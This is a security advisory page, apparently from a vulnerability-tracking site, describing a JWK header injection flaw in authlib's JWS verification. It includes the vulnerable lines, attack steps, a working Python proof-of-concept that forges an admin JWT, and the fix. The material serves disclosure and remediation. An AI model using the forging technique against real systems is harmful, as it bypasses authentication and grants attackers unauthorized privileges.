Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
Description
Summary
A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid - bypassing authentication and authorization entirely.
This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.
Details
Vulnerable file: authlib/jose/rfc7515/jws.py Vulnerable method: JsonWebSignature._prepare_algorithm_key() Lines: 272-273
elif key is None and "jwk" in header:
key = header["jwk"]
# ← attacker-controlled key used for verificationWhen key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts that value - which is fully attacker-controlled - and uses it as the verification key.
RFC 7515 violations:
- §4.1.3 explicitly states the
jwkheader parameter is "NOT RECOMMENDED" because keys
embedded by the token submitter cannot be trusted as a verification anchor.
- §5.2 (Validation Algorithm) specifies the verification key MUST come from the *application
context*, not from the token itself. There is no step in the RFC that permits falling back to the jwk header when no application key is provided.
Why this is a library issue, not just a developer mistake:
The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:
def lookup_key(header, payload):
kid = header.get("kid")
return jwks_cache.get(kid)
# returns None when kid is unknown/rotated
jws.deserialize_compact(token, lookup_key)When an attacker submits a token with an unknown kid, the callable legitimately returns None. The library then silently falls through to key = header["jwk"], trusting the attacker's embedded key. The developer never wrote key=None - the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.
Attack steps:
- Attacker generates an RSA or EC keypair.
- Attacker crafts a JWT payload with any desired claims (e.g.
{"role": "admin"}). - Attacker signs the JWT with their private key.
- Attacker embeds their public key in the JWT
jwkheader field. - Attacker uses an unknown
kidto cause the key resolver to returnNone. - The library uses
header["jwk"]for verification - signature passes. - Forged claims are returned as authentic.
PoC
Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).
Requirements:
pip install authlib cryptographyExploit script:
from authlib.jose import JsonWebSignature, RSAKey
import json
jws = JsonWebSignature(["RS256"])
# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)
# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)
# Step 3: Server decodes with key=None - token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)
# {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"
# PASSESExpected output:
{'sub': 'attacker', 'role': 'admin'}Docker (self-contained reproduction):
sudo docker run --rm authlib-cve-poc:latest \
python3 /workspace/pocs/poc_auth001_jws_jwk_injection.pyImpact
This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:
key=Noneis passed directly, or- a key resolver callable returns
Nonefor unknown/rotatedkidvalues (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one - no exception is raised.
This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself.
Minimal fix - remove the fallback from authlib/jose/rfc7515/jws.py:272-273:
# DELETE:
elif key is None and "jwk" in header:
key = header["jwk"]Recommended safe replacement - raise explicitly when no key is resolved:
if key is None:
raise MissingKeyError("No key provided and no valid key resolvable from context.")AnalysisAI
A critical authentication bypass vulnerability in authlib's JWT signature verification allows attackers to forge arbitrary tokens by injecting their own cryptographic keys through the JWT header. The flaw affects all versions of authlib prior to 1.6.9 when applications use key resolution callbacks that can return None (common in JWKS-based authentication flows). …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | authlib JWS deserialization function called with key=None parameter; jwk header field processing enabled in JWS implementation; no explicit key pinning or jwk header validation configured. Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This vulnerability presents an extreme real-world risk with a CVSS score of 9.1 indicating network-exploitable, low-complexity attacks requiring no privileges or user interaction. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker generates their own RSA keypair, creates a JWT with administrative privileges, signs it with their private key, and embeds the corresponding public key in the JWT's 'jwk' header field. When submitting this token with an unknown 'kid' value to a vulnerable application using JWKS-based authentication, the key resolver returns None, causing authlib to fall back to the attacker's embedded key for verification, successfully validating the forged token. … |
| Remediation | Upgrade authlib to version 1.6.9 or later immediately, as confirmed by the vendor patch available at commit a5d4b2d4c9e46bfa11c82f85fdc2bcc0b50ae681. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all systems and applications using authlib library and assess which ones use JWS deserialization with key=None parameter. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Unauthenticated remote code execution in Crawl4AI versions <= 0.8.6 allows attackers to escape the AST-based sandbox in
Arbitrary file read in Budibase self-hosted server (@budibase/server <= 3.39.0) allows an authenticated workspace builde
Path traversal in BBOT's unarchive internal module enables a malicious archive hosted by attacker-controlled infrastruct
Authentication bypass in Crawl4AI Docker API server (versions prior to 0.8.7) allows remote unauthenticated attackers to
Remote code execution in vLLM versions prior to 0.22.1 allows attackers to backdoor production LLM inference deployments
Vendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 SUSE Linux Enterprise High Performance Computing 15 SP7 SUSE Linux Enterprise Module for Python 3 15 SP7 SUSE Linux Enterprise Server 15 SP7 SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| openSUSE Leap 16.0 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-12478
GHSA-wvwj-cvrp-7pv5